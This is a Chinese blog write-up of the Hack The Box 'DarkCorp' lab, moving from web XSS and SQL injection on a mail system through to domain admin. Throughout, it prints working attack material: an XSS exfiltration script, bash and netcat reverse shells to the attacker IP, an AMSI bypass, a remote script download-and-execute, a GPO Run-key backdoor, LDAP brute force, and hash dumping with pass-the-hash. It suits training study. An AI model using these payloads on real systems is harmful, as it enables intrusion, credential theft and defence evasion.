AI摘要:该博客文章详细记录了 HTB 平台上 “DarkCorp” 靶场的渗透测试全过程。DarkCorp 是一道高难度(Insane)的企业内网靶机,模拟了一个拥有邮件系统、用户门户、数据库服务和 Windows 域环境的中大型公司网络。 作者首先利用 Nmap、Gobuster 等工具进行信息收集,发现多个子域与服务。通过邮件劫持和 XSS 注入获取重置链接,控制管理员账号后进一步发起 SQL 注入攻击,成功从 PostgreSQL 数据库中获取凭据,并建立反弹 shell。 在拿下初始主机权限后,作者深入内网,发现 Windows 域控服务,通过 BloodHound 收集权限图谱,再结合 LDAP 爆破与 GPO 权限配置,实现本地管理员权限提升。最终使用工具转储 hash,成功获取域控 SYSTEM 权限。

引言

Hack The Box 的赛季靶机 DarkCorp,难度 Insane。本文将带你以轻松的方式体验这场顶级难度的靶机挑战,深入剖析从外部突破到域管理员提权的完整过程。

技术点涉及:端口扫描、子域枚举、目录爆破、XSS 漏洞利用(CVE-2024-42008)、SQL 注入、PostgreSQL 命令执行、凭据窃取、邮件伪造、内网转发、日志分析、密码破解、备份解密、BloodHound 域分析、GPO 权限滥用、AMSI 绕过、域管理员提权。

目标与读者:网络安全爱好者、红队选手,适合对域渗透、Web 漏洞利用及 Active Directory 攻防感兴趣的从业者和学习者。

本机ip:10.10.16.2
目标ip:10.10.11.54

nmap -sC -sV 10.10.11.54

Pasted image 20250722112438.png
先直接访问,发现跳转到了http://drip.htb域名,但无法连接
将域名和ip加入hosts

echo "10.10.11.54 drip.htb" | sudo tee -a /etc/hosts

能访问了,但http://drip.htb里什么都没有()
Pasted image 20250722151636.png
使用gobuster进行子域名爆破收集

gobuster vhost -u http://drip.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain

Pasted image 20250722153700.png
使用gobuster进行目录爆破收集

gobuster dir -u http://drip.htb -t 20 -H 'User-Agent:Mozilla' -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -b 401,403,404,500 -o 80.log

Pasted image 20250722153636.png
将子域名加入hosts

echo "10.10.11.54 mail.drip.htb" | sudo tee -a /etc/hosts

Pasted image 20250722154548.png
发现可以sign up可以注册
先注册一个
Pasted image 20250722155534.png
账号1:bushsec
密码1:123456
登陆:
Pasted image 20250722155641.png
Pasted image 20250722155659.png
没什么收获,我们重新注册一个用户,以root当作账户名
账户2:root
密码2:123456
Pasted image 20250722160353.png
Pasted image 20250722161058.png
我们又有了两个收获
一是获得两个用户名:ebelford和support。
二是可以发现,每隔2分钟,网站会运行一个名为mail_clean.sh的脚本。
从About选项卡可以看到邮件系统的信息
Pasted image 20250722160519.png
接下来,我们把目光看向首页的Contact Us
Pasted image 20250722160822.png
使用yakit劫持,将support%40drip.htb改成我们的邮箱地址root%40drip.htb
Pasted image 20250722161133.png
在给support发邮件时,如果yakit中断并将地址改为我们的邮件地址,可以收到求助邮件,并得到 bcase用户名。
yakit中断后,发送的原始内容如下。

message=<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=document.body.appendChild(Object.assign(document.createElement('script'),{src:'http://10.10.16.2/?c='+btoa(document.documentElement.innerHTML)})) foo=bar"> Foo </body>&content=html&recipient=bcase@drip.htb

base64编码后如下。

name=test&email=test%40test.com&message=%3Cbody+title%3D%22bgcolor%3Dfoo%22+name%3D%22bar+style%3Danimation-name%3Aprogress-bar-stripes+onanimationstart%3Ddocument.body.appendChild%28Object.assign%28document.createElement%28%27script%27%29%2C%7Bsrc%3A%27http%3A%2F%2F10.10.16.2%2F%3Fc%3D%27%2Bbtoa%28document.documentElement.innerHTML%29%7D%29%29++foo%3Dbar%22%3E%0D%0A++Foo%0D%0A%3C%2Fbody%3E&content=html&recipient=bcase%40drip.htb
  1. content=html 暗示服务端将 message` 作为 HTML 内容渲染
    这是利用漏洞的前提。
  2. message= 中直接插入 <body> 标签,包含了 HTML 属性注入和 JS 执行:
  3. 触发点:PHPMailer 在未净化的情况下将 message 作为 HTML 写入邮件内容中

HTMX 在处理 HX-Request 请求的响应时,对于 text/html 类型的内容会直接 innerHTML 替换页面部分内容,从而造成 XSS。若 HTMX 的响应中带有 <body> 标签,而解析器允许这个 body 的属性触发事件(例如 onanimationstart),就可能造成 非传统的 HTML 属性注入 + JS 执行链

从网上寻找自动化脚本,我们只需要修改ip即可

import sys
import requests
from http.server import BaseHTTPRequestHandler, HTTPServer
import base64
import threading
from lxml import html

# Configuration
TARGET_URL = 'http://drip.htb/contact'
LISTEN_PORT = 8000
LISTEN_IP = '10.10.16.2'

# Payload for the POST request
start_mesg = '<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=fetch(\'/?_task=mail&_action=show&_uid='
message = sys.argv[1]
end_mesg = '&_mbox=INBOX&_extwin=1\').then(r=>r.text()).then(t=>fetch(`http://10.10.16.2:8000/c=${btoa(t)}`)) foo=bar">Foo</body>'

post_data = {
    'name': 'asdf',
    'email': 'asdf',
    'message': f"{start_mesg}{message}{end_mesg}",
    'content': 'html',
    'recipient': 'bcase@drip.htb'
}
print(f"{start_mesg}{message}{end_mesg}")

# Headers for the POST request
headers = {
    'Host': 'drip.htb',
    'Cache-Control': 'max-age=0',
    'Upgrade-Insecure-Requests': '1',
    'Origin': 'http://drip.htb',
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'Referer': 'http://drip.htb/index',
    'Accept-Encoding': 'gzip, deflate, br',
    'Accept-Language': 'en-US,en;q=0.9',
    'Cookie': 'session=eyJfZnJlc2giOmZhbHNlfQ.Z6fOBw.u9iWIiki2cUK55mmcizrzU5EJzE',
    'Connection': 'close'
}

# Function to send the POST request
def send_post():
    response = requests.post(TARGET_URL, data=post_data, headers=headers)
    print(f"[+] POST Request Sent! Status Code: {response.status_code}")

# Custom HTTP request handler to capture and decode the incoming data
class RequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        if '/c=' in self.path:
            encoded_data = self.path.split('/c=')[1]
            decoded_data = base64.b64decode(encoded_data).decode('latin-1')
            print(f"[+] Received data {decoded_data}")
            tree = html.fromstring(decoded_data)

            # XPath query to find the div with id 'messagebody'
            message_body = tree.xpath('//div[@id="messagebody"]')

            # Check if the div exists and extract the content
            if message_body:
                print(f"message_body lengith is:{len(message_body)}")
                for bd in message_body:
                    # Extract inner text, preserving line breaks
                    #message_text = message_body[0].text_content().strip()
                    message_text = bd.text_content().strip()
                    print("[+] Extracted Message Body Content:\n")
                    print(message_text)
            else:
                print("[!] No div with id 'messagebody' found.")

        else:
            print("[!] Received request but no data found.")

        self.send_response(200)
        self.end_headers()
        self.wfile.write(b'OK')

    def log_message(self, format, *args):
        return  # Suppress default logging

# Function to start the HTTP server
def start_server():
    server_address = (LISTEN_IP, LISTEN_PORT)
    httpd = HTTPServer(server_address, RequestHandler)
    print(f"[+] Listening on port {LISTEN_PORT} for exfiltrated data...")
    httpd.serve_forever()

# Run the HTTP server in a separate thread
server_thread = threading.Thread(target=start_server)
server_thread.daemon = True
server_thread.start()

# Send the POST request
send_post()

# Keep the main thread alive to continue listening
try:
    while True:
        pass
except KeyboardInterrupt:
    print("\n[+] Stopping server.")

执行

python3 1.py 2

将uid改为2后,我们得到
Pasted image 20250722163119.png
得到一个新的域名dev-a3f1-01.drip.htb,且邮件说Bryce(也就是bcase用户)登录时需要重置密码。将新域名加入hosts后访问,这个界面有一个Reset Password选项。
首先添加hosts

echo "10.10.11.54 dev-a3f1-01.drip.htb" | sudo tee -a /etc/hosts 

进入控制台
Pasted image 20250722163402.png
进入Login页面后选择Reset Password
Pasted image 20250722163501.png
Pasted image 20250722163607.png
输入 bcase@drip.htb,点击reset,显示Reset token sent successfully.
发送reset指令后,使用刚才的脚本访问uid=3的邮箱,速度要快。
截获到邮箱地址
Pasted image 20250722163900.png

访问重置连接
Pasted image 20250722164054.png
重置密码为123456
显示Password successfully changed. 即为重置成功
成功登陆控制台
Pasted image 20250722165544.png
搜索框随便输入数字测试数据库
Pasted image 20250722165631.png
发现这是一个postgresql的系统,通过SQL注入,可以获得不少的信息。

''; SELECT * FROM pg_ls_dir('/etc/');

Pasted image 20250722165903.png
经过慢慢查找,在/var/www/html/dashboard/.env里查到数据库相关配置。

''; SELECT pg_read_file('/var/www/html/dashboard/.env', 0, 10000);

Pasted image 20250722165937.png

# True for development, False for production
DEBUG=False

# Flask ENV
FLASK_APP=run.py
FLASK_ENV=development

# If not provided, a random one is generated 
# SECRET_KEY=<YOUR_SUPER_KEY_HERE>

# Used for CDN (in production)
# No Slash at the end
ASSETS_ROOT=/static/assets

# If DB credentials (if NOT provided, or wrong values SQLite is used) 
DB_ENGINE=postgresql
DB_HOST=localhost
DB_NAME=dripmail
DB_USERNAME=dripmail_dba
DB_PASS=2Qa2SsBkQvsc
DB_PORT=5432

SQLALCHEMY_DATABASE_URI = 'postgresql://dripmail_dba:2Qa2SsBkQvsc@localhost/dripmail'
SQLALCHEMY_TRACK_MODIFICATIONS = True
SECRET_KEY = 'GCqtvsJtexx5B7xHNVxVj0y2X0m10jq'
MAIL_SERVER = 'drip.htb'
MAIL_PORT = 25
MAIL_USE_TLS = False
MAIL_USE_SSL = False
MAIL_USERNAME = None
MAIL_PASSWORD = None
MAIL_DEFAULT_SENDER = 'support@drip.htb'

接着就是获取shell了

'';DO $$ DECLARE c text; BEGIN c := CHR(67) || CHR(79) || CHR(80) || CHR(89) || ' (SELECT '''') to program ''bash -c "bash -i >& /dev/tcp/10.10.16.2/1234 0>&1"'''; EXECUTE c; END $$;

得到shell,并查看自己的权限
Pasted image 20250722170413.png
检查hosts,发现内网机器
Pasted image 20250722170455.png

''; (SELECT password FROM "Users")
''; (SELECT password FROM "Admin")

Pasted image 20250722171502.png
这些hash爆破不出来
先查看数据库版本

''; SELECT version();

Pasted image 20250722171857.png
尝试查看它的log文件

''; SELECT pg_read_file('/var/log/postgresql/postgresql-15-main.log', 0, 10000000);

这个日志是空的,看看旧的

''; SELECT pg_read_file('/var/log/postgresql/postgresql-15-main.log.1', 0, 10000000);

依旧毫无所获。但我们通过

''; SELECT * FROM pg_ls_dir('/var/log/postgresql/');

Pasted image 20250722174735.png
发现还有很多压缩的日志文件,我们回到shell,对其进行解压缩

cd /var/log/postgresql/
gzip -d -k postgresql-15-main.log.2.gz

继续查看

''; SELECT pg_read_file('/var/log/postgresql/postgresql-15-main.log.2', 0, 10000000);

Pasted image 20250722174932.png
得到ebelford用户的密码hash为8bbd7f88841b4223ae63c8848969be86
解密获得密码:ThePlague61780

sshpass -p'ThePlague61780' ssh -o StrictHostKeyChecking=no ebelford@drip.htb

Pasted image 20250722175923.png
在/var/backups目录中,我们可以找到数据库用户postgres的备份:

ebelford@drip:~$ ls -la /var/backups | grep postgres
drwx------  2 postgres postgres   4096 Feb  5 12:52 postgres

我们需要一个PostgreSQL用户。让我们看看Web应用程序

ebelford@drip:~$ ls -la /var/www/html/dashboard/
total 36
drwxr-xr-x 5 root root 4096 Jan 16  2025 .
drwxr-xr-x 4 root root 4096 Jan 13  2025 ..
-rw-r--r-- 1 root root  796 Jan 15  2025 .env
drwxr-xr-x 2 root root 4096 Jan 10  2025 __pycache__
lrwxrwxrwx 1 root root   18 Dec 19  2024 app_venv -> /var/www/app_venv/
drwxr-xr-x 7 root root 4096 Jan 10  2025 apps
-rw-r--r-- 1 root root  198 Dec 17  2024 gunicorn-cfg.py
drwxr-xr-x 2 root root 4096 Jan 10  2025 media
-rw-r--r-- 1 root root  330 Dec 17  2024 requirements.txt
-rw-r--r-- 1 root root 1037 Dec 19  2024 run.py
ebelford@drip:~$ cat /var/www/html/dashboard/.env
# True for development, False for production
DEBUG=False

# Flask ENV
FLASK_APP=run.py
FLASK_ENV=development

# If not provided, a random one is generated 
# SECRET_KEY=<YOUR_SUPER_KEY_HERE>

# Used for CDN (in production)
# No Slash at the end
ASSETS_ROOT=/static/assets

# If DB credentials (if NOT provided, or wrong values SQLite is used) 
DB_ENGINE=postgresql
DB_HOST=localhost
DB_NAME=dripmail
DB_USERNAME=dripmail_dba
DB_PASS=2Qa2SsBkQvsc
DB_PORT=5432

SQLALCHEMY_DATABASE_URI = 'postgresql://dripmail_dba:2Qa2SsBkQvsc@localhost/dripmail'
SQLALCHEMY_TRACK_MODIFICATIONS = True
SECRET_KEY = 'GCqtvsJtexx5B7xHNVxVj0y2X0m10jq'
MAIL_SERVER = 'drip.htb'
MAIL_PORT = 25
MAIL_USE_TLS = False
MAIL_USE_SSL = False
MAIL_USERNAME = None
MAIL_PASSWORD = None
MAIL_DEFAULT_SENDER = 'support@drip.htb'

得到数据库密码是2Qa2SsBkQvsc
接着让我们获得这个shell
本机执行

nc -lnvp 4242

ebelford的shell执行

psql -h localhost -U dripmail_dba -d dripmail
COPY (SELECT pg_backend_pid()) TO PROGRAM 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.16.2 4242 >/tmp/f';

Pasted image 20250722181247.png
拿到权限
首先本机生成密钥对

ssh-keygen -t ed25519 -f ~/.ssh/drip_key

查看公钥

cat ~/.ssh/drip_key.pub

Pasted image 20250722185710.png
postgres@drip上将自己的公钥echo上去

mkdir -p ~/.ssh
echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOjO8SJLIkNvr+JMFxdzVJsEyyLZKpH6lxlamKQap42U root@kali" > ~/.ssh/authorized_keys

本机ssh连接

ssh -i ~/.ssh/drip_key postgres@drip.htb

拿下权限
Pasted image 20250722185807.png

看看备份

postgres@drip:~$ ls -la /var/backups/postgres/
total 12                                                                     
drwx------ 2 postgres postgres 4096 Feb  5 12:52 .                           
drwxr-xr-x 3 root     root     4096 Feb 11 08:10 ..                          
-rw-r--r-- 1 postgres postgres 1784 Feb  5 12:52 dev-dripmail.old.sql.gpg  

让我们尝试使用数据库密码解密旧备份

gpg --homedir /var/lib/postgresql/.gnupg --pinentry-mode=loopback --passphrase '2Qa2SsBkQvsc' --decrypt /var/backups/postgres/dev-dripmail.old.sql.gpg > /var/backups/postgres/dev-dripmail.old.sql

解密成功
Pasted image 20250722190242.png
查看内容

cat /var/backups/postgres/dev-dripmail.old.sql

拿到密钥
Pasted image 20250722190329.png

1 bcase dc5484871bc95c4eab58032884be7225 bcase@drip.htb 
2 victor.r cac1c7b0e7008d67b6db40c03e76b9c0 victor.r@drip.htb 
3 ebelford 8bbd7f88841b4223ae63c8848969be86 ebelford@drip.htb

Pasted image 20250722190541.png
得到新的账号密码
账号:victor.r
密码:victor1gustavo@#

现在我们应该扫描内部网络以查找主机和开放端口
让我们使用sshuttle进行转发:

sshuttle -r ebelford:'ThePlague61780'@drip.htb -N 172.16.20.0/24

别忘了hosts

echo "172.16.20.1 DC-01 DC-01.darkcorp.htb darkcorp.htb" | sudo tee -a /etc/hosts
echo "172.16.20.3 drip.darkcorp.htb" | sudo tee -a /etc/hosts

转发完成后,我们ping一下试试
Pasted image 20250722191254.png
通了,接下来我们nmap

nmap -sCTV -Pn -vvv 172.16.20.2

发现了80,5000两个端口,我们访问一下这两个界面
Pasted image 20250722192409.png
Pasted image 20250722192426.png
但端口80是空的,但端口5000有基本认证,我们可以使用Victor的凭据登录:
Pasted image 20250722192558.png
别忘了hosts添加

echo "172.16.20.2 WEB-01 WEB-01.darkcorp.htb" | sudo tee -a /etc/hosts

让我们部分使用proxychains4并将域名导出到Bloodhound:

sshpass -p'ThePlague61780' ssh -o StrictHostKeyChecking=no -D 1080 ebelford@drip.htb
sudo apt install proxychains4
sudo vim /etc/proxychains4.conf

增加

dnat 10.10.11.54 172.16.20.1

[ProxyList]
socks5 127.0.0.1 1080

本机执行

proxychains4 bloodhound-python -u victor.r@darkcorp.htb -p 'victor1gustavo@#' -dc dc-01.darkcorp.htb --dns-tcp -ns 172.16.20.1 --dns-timeout 10 -c ALL -d darkcorp.htb --zip

Pasted image 20250722194949.png
Pasted image 20250722195000.png
收集成功!!!

Normal way

sudo impacket-ntlmrelayx -t ldaps://172.16.20.1 -debug -i -smb2support

Pasted image 20250722195343.png
我一直未能成功常规途径,应该是先取得172.16.20.2这个网站的仅限,利用ntlmrelayx攻击取得该机的系统权限,可是在我的机器上一直没有成功。

那么只能用爆破了

hydra -l taylor.b.adm -P /usr/share/wordlists/rockyou.txt -o test.log -vV ldap3://172.16.20.1

取得taylor.b.adm的密码!QAZzaq1。
绕过AMSI(反恶意软件扫描接口)

$a = [Ref].Assembly.GetTypes() | ?{$_.Name -like '*siUtils'};$b = $a.GetFields('NonPublic,Static') | ?{$_.Name -like '*siContext'};[IntPtr]$c =$b.GetValue($null);[Int32[]]$d = @(0xff);[System.Runtime.InteropServices.Marshal]::Copy($d, 0, $c, 1)

本机启动服务器,要有PowerGPOAbuse.ps1的目录下启动
下载PowerGPOAbuse脚本

iex(New-Object Net.WebClient).DownloadString('http://10.10.16.2:8090/PowerGPOAbuse.ps1')

将用户添加到GPO组

Add-GPOGroupMember -Member 'taylor.b.adm' -GPOIdentity 'SecurityUpdates'

设置恶意注册表项

Set-GPRegistryValue -Name "SecurityUpdates" -key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "backdoor" -Type String -Value "powershell -ExecutionPolicy Bypass -NoProfile -Command `"Add-LocalGroupMember -Group 'Administrators' -Member taylor.b.adm`""

Pasted image 20250722203144.png
强制更新策略

gpupdate /force

确认权限

net localgroup administrators

Pasted image 20250722204938.png

本机执行

impacket-secretsdump 'darkcorp.htb/taylor.b.adm:!QAZzaq1@172.16.20.1'

Pasted image 20250722205511.png
拿到hash

evil-winrm -i 172.16.20.1 -u administrator -H fcb3ca5a19a1ccf2d14c13e8b64cde0f

root.txt
Pasted image 20250722205433.png

不得不说,HTB疯狂难度的是真的累(((

最后修改:2025 年 07 月 27 日
如果觉得我的文章对你有用,请随意赞赏